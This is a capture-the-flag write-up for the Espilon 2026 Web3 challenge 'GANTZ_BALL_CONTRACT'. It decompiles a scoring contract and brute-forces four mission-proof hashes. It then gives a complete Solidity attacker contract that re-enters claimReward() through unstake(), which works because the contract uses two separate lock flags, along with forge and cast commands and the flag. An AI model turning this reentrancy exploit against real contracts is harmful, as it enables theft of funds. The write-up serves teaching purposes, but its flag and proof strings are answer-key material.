# GANTZ_BALL_CONTRACT

| Field | Value |
|-------|-------|
| Category | Web3 |
| Difficulty | Insane |
| Points | 500 |
| Author | Eun0us |
| CTF | Espilon 2026 |

---

## Description

The Black Sphere runs a smart contract that tracks hunter scores. Kill aliens, earn points.
Reach **100 points** and claim your freedom.

But there's a catch: **no source code**. Only the deployed bytecode.

- `nc espilon.net 1337` — Challenge console
- `http://espilon.net:8545` — Anvil RPC endpoint

Reverse the bytecode. Understand the scoring mechanism. Find the exploit. Claim your 100 points.
Escape the game.

*"Nobody said you had to play fair."*

---

## TL;DR

Decompile the bytecode to recover the ABI. Find that the contract uses two separate reentrancy
guards (`_stakeLock` and `_rewardLock`) instead of a single global lock. While inside `unstake()`,
`_stakeLock=1` but `_rewardLock=0` — enabling cross-function reentrancy into `claimReward()`.
Brute-force 4 mission proof preimages. Deploy an attacker contract that earns 110 points, stakes
100, then re-enters `claimReward()` from the `receive()` callback during `unstake()`.

---

## Tools

| Tool | Purpose |
|------|---------|
| Dedaub / Heimdall / Panoramix | EVM bytecode decompilation |
| Foundry (`forge`, `cast`) | Contract deployment and interaction |
| Python 3 + `web3.py` | Storage slot computation for preimage brute-force |

---

## Solution

### Step 1 — Get the bytecode

```text
nc <host> 1337
bytecode
```

![console showing the deployed bytecode hex](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/gantz_bytecode.png)

### Step 2 — Decompile

Submit bytecode to Dedaub (app.dedaub.com) or run Heimdall:

```bash
heimdall decompile <bytecode_hex>
```

Recovered functions:

| Function | Signature |
|----------|-----------|
| `register()` | Enroll as a hunter |
| `claimKill(uint256, string)` | Earn points per mission |
| `stakePoints(uint256)` payable | Stake points, deposit ETH (1 pt = 0.001 ETH) |
| `unstake()` | Withdraw ETH, restore points |
| `claimReward()` | Claim reward if `points + stakedPoints >= 100` |

**Critical finding:** two separate guards `_stakeLock` (slot protecting `stakePoints`/`unstake`)
and `_rewardLock` (protecting `claimReward`). During `unstake()`, `_stakeLock=1` but
`_rewardLock=0` — the window for cross-function reentrancy.

![decompiler output showing two separate reentrancy guard variables](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/gantz_decompile.png)

### Step 3 — Find the mission proof preimages

From contract storage, extract 4 `keccak256` target hashes, then brute-force:

```python
from web3 import Web3

targets = [...]  # 4 keccak256 hashes from storage

wordlist = ["onion_alien", "tanaka_alien", "buddha_alien", "boss_alien",
            "cat_alien", "dog_alien", "fish_alien"]

for word in wordlist:
    h = Web3.keccak(text=word).hex()
    if h in targets:
        print(f"Found: {word}")
```

| Mission | Points | Proof |
|---------|--------|-------|
| 0 | 20 | `onion_alien` |
| 1 | 25 | `tanaka_alien` |
| 2 | 30 | `buddha_alien` |
| 3 | 35 | `boss_alien` |

### Step 4 — Deploy the attacker contract

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IGantzBall {
    function register() external;
    function claimKill(uint256 missionId, string calldata proof) external;
    function stakePoints(uint256 amount) external payable;
    function unstake() external;
    function claimReward() external;
}

contract GantzExploit {
    IGantzBall public ball;
    bool private attacking;

    constructor(address _ball) payable { ball = IGantzBall(_ball); }

    function exploit() external {
        ball.register();
        ball.claimKill(0, "onion_alien");   // +20 → 20 pts
        ball.claimKill(1, "tanaka_alien");  // +25 → 45 pts
        ball.claimKill(2, "buddha_alien");  // +30 → 75 pts
        ball.claimKill(3, "boss_alien");    // +35 → 110 pts

        // Stake 100 points: points=10, stakedPoints=100
        ball.stakePoints{value: 0.1 ether}(100);

        attacking = true;
        ball.unstake();
        // In receive(): stakedPoints=100 not yet zeroed → claimReward passes (10+100=110>=100)
    }

    receive() external payable {
        if (attacking) {
            attacking = false;
            // _stakeLock=1 but _rewardLock=0 → cross-function reentrancy succeeds
            ball.claimReward();
        }
    }
}
```

```bash
forge create GantzExploit \
    --constructor-args <BALL_ADDR> \
    --value 0.2ether \
    --rpc-url http://<HOST>:8545 \
    --private-key <PLAYER_KEY>

cast send <EXPLOIT_ADDR> 'exploit()' \
    --rpc-url http://<HOST>:8545 \
    --private-key <PLAYER_KEY>
```

![forge deploy and cast send commands completing successfully](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/gantz_deploy.png)

### Step 5 — Get the flag

```text
nc <host> 1337
check
```

![console printing the flag after successful reentrancy exploit](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/gantz_flag.png)

### Key concepts

- **EVM bytecode reversal**: No source code — recover ABI and logic from raw opcodes
- **Cross-function reentrancy**: Two separate mutex flags allow re-entry across function
  boundaries — a classic vulnerability missed when developers use per-function guards
  instead of a global reentrancy lock
- **keccak256 preimage brute force**: Short human-readable strings are feasible to brute-force
  against known hashes stored in contract storage
- **Storage layout**: Dynamic array elements, mappings, and packed slots follow deterministic
  Solidity storage layout rules

---

## Flag

`ESPILON{g4ntz_b4ll_100_p01nts_fr33d0m}`
